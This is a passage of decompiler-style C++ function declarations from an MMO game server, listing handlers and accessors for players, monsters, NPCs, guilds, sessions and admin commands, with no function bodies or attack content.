*__thiscall ShineObjectManager::som_FindNPC(ShineObjectManager *this, Name4 *chrid); void __thiscall SlantedCoordList::CoordedNode::cn_Reset(SlantedCoordList::CoordedNode *this); char __thiscall ShineObjectClass::ShineDoor::so_door_DoorAction(ShineObjectClass::ShineDoor *this, char *blockfile, MapBlock::DoorAction da); void __thiscall ShineObjectClass::ShineBandit::so_bandit_ChangeType(ShineObjectClass::ShineBandit *this, char newtype); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_CLIENT_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_DB_UI_STATE_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_MISC_WHSHANDLEREPAIR_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD(void *this, int repair); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ(void *this, int netcmd, int len, __int16 handle); __int16 __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservStore(int this, const void *lnkinf); int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservFind(int this, unsigned __int16 pointer); void __thiscall ShineObjectClass::ShinePlayer::sp_RegistNumberVarification(void *this); void __thiscall GameDBSession::gds_NC_CHAR_REGNUM_VARIFICATION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __cdecl ShineObjectClass::ShineObject::so_ply_RegistNumberVarifyCheck(int varif_ack); char __thiscall ShineObjectClass::ShinePlayer::so_ply_RegistNumberVarifyCheck(void *this, int varif_ack); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_RefreshWMSSocket(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc(void *this, int flag); void __thiscall ProtocolLogger::pl_Store(ProtocolLogger *this, NETCOMMAND *netcmd, SHINE_XY_TYPE *coord); void __thiscall ProtocolLogger::pl_Clear(ProtocolLogger *this); void __thiscall ShineObjectClass::ShinePlayer::sp_LastProtocol(void *this, NETCOMMAND *netcmd); void __thiscall ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck(void *this); void __thiscall ListCheckStruct::lcs_Init(ListCheckStruct *this, ListCheckStruct *lcs); char __thiscall ShineObjectClass::ShineObject::so_SlantedListCheck(void *this); void __stdcall ShineObjectClass::ShineObject::so_SetHP(int hp); void __thiscall ShineObjectClass::ShineMob::so_SetHP(void *this, int hp); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall List::l_Clear(List *this); char __thiscall SlantedCoordList::CoordedNode::cn_RemoveList(SlantedCoordList::CoordedNode *this); void __thiscall ShineObjectClass::ShineObject::so_Unmark(void *this, int when, char logoutpacket, char SaveType); void __thiscall ShineObjectClass::ShineObject::so_LogoutPacketBroadcast(void *this); void __thiscall ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast(ShineObjectClass::ShineDropItem *this); char __thiscall ShineObjectClass::ShineObject::so_AllOfRange_Simple(int this, int ala, int nRange); char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a3, int a4, int a5, char tome); char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int ala, char tome); void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int ala, char tome, __int16 excepter); void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a7, int a8, int a9, char tome, __int16 excepter); char __cdecl ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse(int event, int center, int range, int fansector, int axialfunc, int a6, int a7, int a8, char tome, __int16 excepter); void *__thiscall ShineObjectClass::ShineMobileObject::_scalar_deleting_destructor_(unsigned int); void __thiscall ShineObjectClass::ShineMiniHouse::ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this); void __thiscall MobTacticElement::MobActionArgument::MobActionArgument(MobTacticElement::MobActionArgument *this); void __thiscall MobTacticElement::MobActionArgument::_MobActionArgument(MobTacticElement::MobActionArgument *this); void __thiscall ShineObjectClass::ShineObject::so_FreeFromList(int this); void __thiscall ShineObjectClass::ShineMob::so_FreeFromList(int this); void __thiscall ShineObjectClass::ShinePlayer::so_FreeFromList(void *this); void __thiscall ShineObjectClass::ShineObject::so_Reset_SlantedList(void *this); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, ABSTATEINDEX *_Val, char _Carg); char __thiscall List::l_PushA(List *this, ShineObjectEachList *ele); int __thiscall ShineObjectEachList::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, ShineObjectEachList *ele); char __thiscall List::l_PopA(List *this, ShineObjectEachList *ele); char __thiscall List::l_PopZ(List *this, ShineObjectEachList *ele); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); AbnormalStateContainer::AbstateElementInObject *__thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_IsSet(int this, ABSTATEINDEX abstate); void __thiscall ShineObjectClass::ShinePlayer::so_FirstActionAfterSocketConnect(void *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned int *_Keyval); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall std::vector>::_Tidy(std::vector > *this); char __thiscall List::l_PushA(List *this, #325 *ele); int __thiscall ShineObjectClass::ShineObject::__unnamed::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, #325 *ele); char __thiscall List::l_PopA(List *this, #325 *ele); char __thiscall List::l_PopZ(List *this, #325 *ele); Observer *__cdecl std::_Uninit_copy>::iterator_Observer___std::allocator>(Observer *_First, Observer *_Last, Observer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall ShineObjectClass::ShineAxialFlag::_ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineAxialFlag::so_SlantedFlag(ShineObjectClass::ShineAxialFlag *this, unsigned int x, unsigned int y, #585 *fld, #325 *allofrange_this); #325 *__thiscall ShineObjectClass::ShineAxialFlag::so_AllOfRange_Getthis(ShineObjectClass::ShineAxialFlag *this); void __thiscall ShineObjectClass::ShineAxialFlag::so_safm_SetCinema(ShineObjectClass::ShineAxialFlag *this, Movie::CinemaComplex *cine); unsigned __int16 __thiscall ShineObjectClass::ShineAxialFlag::so_RemakeHandle(ShineObjectClass::ShineAxialFlag *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMob::_ShineMob(int this); ShineRTTI *__cdecl ShineObjectClass::ShineMob::GetRTTI(); int __thiscall ShineObjectClass::ShineMob::so_mobile_BattleCamp(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_RegenLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_LastHittedLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_ChaseRangeSquar(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAniTime(int this); int __thiscall ShineObjectClass::ShineMob::so_CharName(int this); signed int __thiscall ShineObjectClass::ShineMob::so_OverlapFactor(void *this); int __thiscall ShineObjectClass::ShineMob::so_FillBriefInformation(int this, int array); void __thiscall ShineObjectClass::ShineMob::so_SendMyBriefInfo(void *this, int a2); bool __thiscall ShineObjectClass::ShineMob::so_IsEmpty(void *this); char __cdecl ShineObjectClass::ShineMob::so_ObjectType(); char __thiscall ShineObjectClass::ShineMob::so_GetLevel(int this); int __thiscall ShineObjectClass::ShineMob::so_attackspeed1000_packet(void *this); unsigned int __thiscall ShineObjectClass::ShineMob::so_BodySize(int this); int __thiscall ShineObjectClass::ShineMob::so_AttackRange(int this, int a2); int __thiscall ShineObjectClass::ShineMob::so_mob_DataBox(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_Race(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_WalkSpeed(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_RunSpeed(int this); int __thiscall ShineObjectClass::ShineMob::so_GetCharRegistNumber(int this); int __thiscall ShineObjectClass::ShineMob::so_LoginLocation(void *this); int __thiscall ShineObjectClass::ShineMob::so_Heal(void *this, int heal); int __thiscall ShineObjectClass::ShineMob::so_GetHP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_MaxHP(void *this); int __thiscall ShineObjectClass::ShineMob::so_MaxSP(int this); int __thiscall ShineObjectClass::ShineMob::so_GetSP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_LostSP(int this, unsigned int a2); int __thiscall ShineObjectClass::ShineMob::so_GainSP(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::smo_ZeroHP(int this); unsigned int __thiscall ShineObjectClass::ShineMob::so_LostHP(int this, unsigned int hp); int __thiscall ShineObjectClass::ShineMob::so_GainHP(void *this, int hp); __int16 __thiscall ShineObjectClass::ShineMob::so_RemakeHandle(void *this, __int16 handle); int __thiscall ShineObjectClass::ShineMob::so_Getabstatebit(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_mob_MobID(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_FalimyList(void *this); int __thiscall ShineObjectClass::ShineMob::so_mob_DistanceFromHome(void *this); int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetHandle(int this); int __thiscall ShineObjectClass::ShineMob::so_CurrentTargetObject(int this); bool __thiscall ShineObjectClass::ShineMob::so_CanSkillTarget(int this); void __thiscall ShineObjectClass::ShineMob::so_mob_RescueObject(#325 *, char); int __thiscall ShineObjectClass::ShineMob::so_mobile_GetIdxName(int this); int __thiscall ShineObjectClass::ShineMob::smo_BattleKillScore(int this); char __thiscall ShineObjectClass::ShineMob::so_mob_CanRecover(int this, char can); char __thiscall ShineObjectClass::ShineMob::so_mob_MobAggro(int this, char can); char __thiscall ShineObjectClass::ShineMob::so_mobile_MobAggroRate(int this); char __thiscall ShineObjectClass::ShineMob::sm_IsPlayerSide(int this); __int16 __thiscall ShineObjectClass::ShineMob::so_getDetectRange(void *this); void __thiscall ShineObjectClass::ShineMob::so_SetLastBattle(int this); int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponHitTime(void *this); void __thiscall ShineObjectClass::ShineBandit::_ShineBandit(ShineObjectClass::ShineBandit *this); ShineRTTI *__thiscall ShineObjectClass::ShineBandit::GetRTTI(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineBandit::so_SendMyBriefInfo(ShineObjectClass::ShineBandit *this, #325 *obj); char __thiscall ShineObjectClass::ShineBandit::so_IsMob(ShineObjectClass::ShineBandit *this); PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ShineObjectClass::ShineBandit::so_GetCharBriefInfo(ShineObjectClass::ShineBandit *this); unsigned __int16 __thiscall ShineObjectClass::ShineBandit::so_RemakeHandle(ShineObjectClass::ShineBandit *this, unsigned __int16 handle); ABNORMAL_STATE_BIT *__thiscall ShineObjectClass::ShineBandit::so_Getabstatebit(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineBandit::so_FillBriefInformation(ShineObjectClass::ShineBandit *this, void *array); void __thiscall ShineObjectClass::ShineServant::_ShineServant(ShineObjectClass::ShineServant *this); ShineRTTI *__thiscall ShineObjectClass::ShineServant::GetRTTI(ShineObjectClass::ShineServant *this); ShineObjectClass::BattleCamp __thiscall ShineObjectClass::ShineServant::so_mobile_BattleCamp(ShineObjectClass::ShineServant *this); char __thiscall ShineObjectClass::ShineServant::so_ObjectType(ShineObjectClass::ShineServant *this); char __thiscall ShineObjectClass::ShineServant::so_GetLevel(ShineObjectClass::ShineServant *this); unsigned int __thiscall ShineObjectClass::ShineServant::so_AttackRange(ShineObjectClass::ShineServant *this, #325 *target); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_RemakeHandle(ShineObjectClass::ShineServant *this, unsigned __int16 handle); int __thiscall ShineObjectClass::ShineServant::so_MiscTable(int this); #740 *__thiscall ShineObjectClass::ShineServant::so_serv_FindMaster(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::so_serv_ServantMissionSet(ShineObjectClass::ShineServant *this); #325 *__thiscall ShineObjectClass::ShineServant::so_serv_TargetOfSummonMob(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::so_serv_SetTarget(ShineObjectClass::ShineServant *this, #325 *target); char __thiscall ShineObjectClass::ShineServant::sm_IsPlayerSide(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectManager::ShineObjectManager(ShineObjectManager *this); void *__thiscall ShineObjectClass::ShineAxialFlag::_vector_deleting_destructor_(ShineObjectClass::ShineAxialFlag *this, unsigned int); void *__thiscall ShineObjectClass::ShineBandit::_vector_deleting_destructor_(ShineObjectClass::ShineBandit *this, unsigned int); void *__thiscall ShineObjectClass::ShineMob::_vector_deleting_destructor_(unsigned int); void *__thiscall ShineObjectClass::ShineServant::_vector_deleting_destructor_(ShineObjectClass::ShineServant *this, unsigned int); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall ShineObjectClass::ShinePlayer::_ShinePlayer(int this); ShineRTTI *__cdecl ShineObjectClass::ShinePlayer::GetRTTI(); int __thiscall ShineObjectClass::ShinePlayer::so_ItemInventory(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_TradeStructure(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoard(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_GetWaitTradeResFromDB(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetWaitTradeResFromDB(int this, char value); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SilverWingCoolTime(int this); char __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTimeUpdate(int this, unsigned __int16 skill, unsigned int eoct); int __thiscall ShineObjectClass::ShinePlayer::so_PacketEncryptClass(void *this); __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentMoney(int this); __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentExp(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentFame(int this); char __thiscall ShineObjectClass::ShinePlayer::so_AdministratorLevel(int this); int __thiscall ShineObjectClass::ShinePlayer::so_extradata(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_SetParty(int this, __int16 party); int __thiscall ShineObjectClass::ShinePlayer::so_CharName(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_datasync(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_SoloingMode(int this); int __thiscall ShineObjectClass::ShinePlayer::so_SendMyBriefInfo(void *this, int a2); int __thiscall ShineObjectClass::ShinePlayer::so_GetDataSocketStream(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetGameSocketStream(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_IsEmpty(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetLevel(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetClass(int this); int __thiscall ShineObjectClass::ShinePlayer::so_attackspeed1000(void *this); signed int __cdecl ShineObjectClass::ShinePlayer::so_BodySize(); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharBriefInfo(int this); signed int __thiscall ShineObjectClass::ShinePlayer::so_AttackRange(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_WalkSpeed(void *this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_RunSpeed(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetWMSHandle(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharRegistNumber(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetUserRegistNumber(int this); char __cdecl ShineObjectClass::ShinePlayer::so_TargetType(); int __thiscall ShineObjectClass::ShinePlayer::so_LoginLocation(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem_box(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, ItemBag *bag); int __thiscall ShineObjectClass::ShinePlayer::so_Heal(void *this, int heal); int __thiscall ShineObjectClass::ShinePlayer::so_GetHP(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetSP(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostSP(int this, unsigned int a2); int __thiscall ShineObjectClass::ShinePlayer::so_GainSP(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::smo_ZeroHP(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostHP(void *this, int hp); int __thiscall ShineObjectClass::ShinePlayer::so_GainHP(void *this, int hp); __int16 __thiscall ShineObjectClass::ShinePlayer::so_RemakeHandle(void *this, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::so_SetSocketSession(int this, int session); int __thiscall ShineObjectClass::ShinePlayer::so_Getabstatebit(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber(int this); void __thiscall ShineObjectClass::ShinePlayer::so_LearnPassive(void *this, unsigned __int16 skill); char __thiscall ShineObjectClass::ShinePlayer::so_tradestart(int this, int a2); int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoardreset(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_reinforce_reloc(#585 *, char *, int, int); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_close(void *this, __int16 menutype); char __thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_canmenuopen(int this, unsigned __int16 menutype); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_Set(void *this, __int16 menutype); int __thiscall ShineObjectClass::ShinePlayer::so_ply_TotalSkillEmpower(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_skillempowerclear(int this); __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreMoney(int this, __int64 cen); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreFame(int this, int fame); int __thiscall ShineObjectClass::ShinePlayer::sp_lastpickuptime(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyRecharge(void *this, int recoverate, int a3, int a4); char __thiscall CharaterSkillList::csl_SPCheck(CharaterSkillList *this, #325 *, unsigned __int16, SkillDataBox::SkillDataIndex *, SKILL_EMPOWER *, char); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharacterTitle(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_GetStatDistStr(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetInventoryLockList(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetGender(int this); int __thiscall ShineObjectClass::ShinePlayer::so_mobile_GetGuildRegnum(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildNo(int this, int gldnum); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuild(int this, int gld); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildStorageHandle(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildStorageHandle(int this, __int16 nGuildStorageHandle); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyRewardStorageHandle(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyRewardStorageHandle(int this, __int16 nGuildAcademyRewardStorageHandle); int __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestDiary(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQSuccess(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQFail(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_TreasureChestLocationManager(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_InventorySize(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StorageSize(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StreetBoothSlot(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedEffectContainer(void *this); signed int __cdecl ShineObjectClass::ShinePlayer::smo_BattleKillScore(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_AllCastCancel(int this); ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatStr(void *this); ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatInt(void *this); ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatDex(void *this); ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatCon(void *this); ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatMen(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedStatPlus(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_RemoveWhen(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_IncNGet_PKCount(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HideMyIdentity(int this); int __thiscall ShineObjectClass::ShinePlayer::smo_GMChatColor(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademy(int this, int gld); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyNo(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyNo(int this, int gldnum); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isAcademyGuildMember(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isIAmGuildAcademyMaster(void *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundReq(int this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundCancelReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundCancelReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetPossibleNewConnect(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_FreeStat_Get_DecreaseNum(int this, int Stat, unsigned __int8 Stat_4); char __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_IsLock(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_Lock(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_UnLock(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_PacketBufferFlush(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_StoreCharData(CHARTITLE_BRIEFINFO this, unsigned __int16 handle, char *fromwhere); void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, int charmode, ZoneCharData *chardata, CHARTITLE_BRIEFINFO *chartitle, char *fromwhere); int __thiscall ShineObjectClass::ShinePlayer::so_FillBriefInformation(int this, int array); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxHP(void *this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxSP(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_MaxSP(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime(int this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime_AfterSkill(int this, int animation_millisec); signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetHandle(int this); int __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetObject(int this); // void __usercall ShineObjectClass::ShinePlayer::so_ply_ReinforceFoldtent(int a1, int a2, int a3, int a4, int a5, int a6); void __thiscall ShineObjectClass::ShineNPC::_ShineNPC(ShineObjectClass::ShineNPC *this); ShineRTTI *__thiscall ShineObjectClass::ShineNPC::GetRTTI(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectClass::ShineNPC::so_SetGateBriefInform(ShineObjectClass::ShineNPC *this, char *linktoclient); unsigned __int16 __thiscall ShineObjectClass::ShineNPC::so_RemakeHandle(ShineObjectClass::ShineNPC *this, unsigned __int16 handle); void *__thiscall ShineObjectClass::ShinePlayer::_vector_deleting_destructor_(unsigned int); void *__thiscall ShineObjectClass::ShineNPC::_vector_deleting_destructor_(ShineObjectClass::ShineNPC *this, unsigned int); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned int *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned int *_Val); char __thiscall ShineObjectManager::som_FreeObject(ShineObjectManager *this, unsigned __int16 hnd, ShineObjectClass::RemoveWhen when, int flag); signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Kickout(void *this); signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Logout(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShineAxialFlag::ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this); int __thiscall ShineObjectClass::ShinePlayer::ShinePlayer(void *hd); void __thiscall ShineObjectClass::ShinePlayer::so_banning(void *this, int when); void __thiscall ShineObjectClass::ShinePlayer::so_LearnSkill(int this, unsigned __int16 skill); void __thiscall CharaterSkillList::csl_Learn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharSkill *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, CharaterSkillList::CharSkill *_Val); void *__thiscall ShineObjectClass::ShineMob::ShineMob(void *hd); void __thiscall ShineObjectClass::ShineBandit::ShineBandit(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineServant::ShineServant(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineNPC::ShineNPC(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectManager::som_Initialize(ShineObjectManager *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_SetCaptivate(void *this, char bValue); char __thiscall ShineObjectClass::ShineMobileObject::smo_IsCaptivate(int this); int __thiscall ShineObjectClass::ShineMob::smo_mob_RegenAfterLogout(void *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_IsActiveMode(void *this); void __fastcall ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(int a1, int newloc, int newloca, int a4); void __thiscall ShineObjectClass::ShineMob::smo_LoginAfterLogout(void *this, int newloc); void __thiscall AxialListDeathAura::_AxialListDeathAura(AxialListDeathAura *this); int __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeCheck(void *this, int delta, int plusminus, int fnc); void __cdecl ShineObjectClass::ShinePlayer::sp_NoAdmin(); char __thiscall AxialListDeathAura::ali_Work(AxialListDeathAura *this, #325 *, #325 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_DeathAura(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_Immortal(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_KillAllMob(void *this); char __thiscall ShineObjectClass::ShineMob::sm_IsUseSkill(void *this, __int16 skillid); void __thiscall 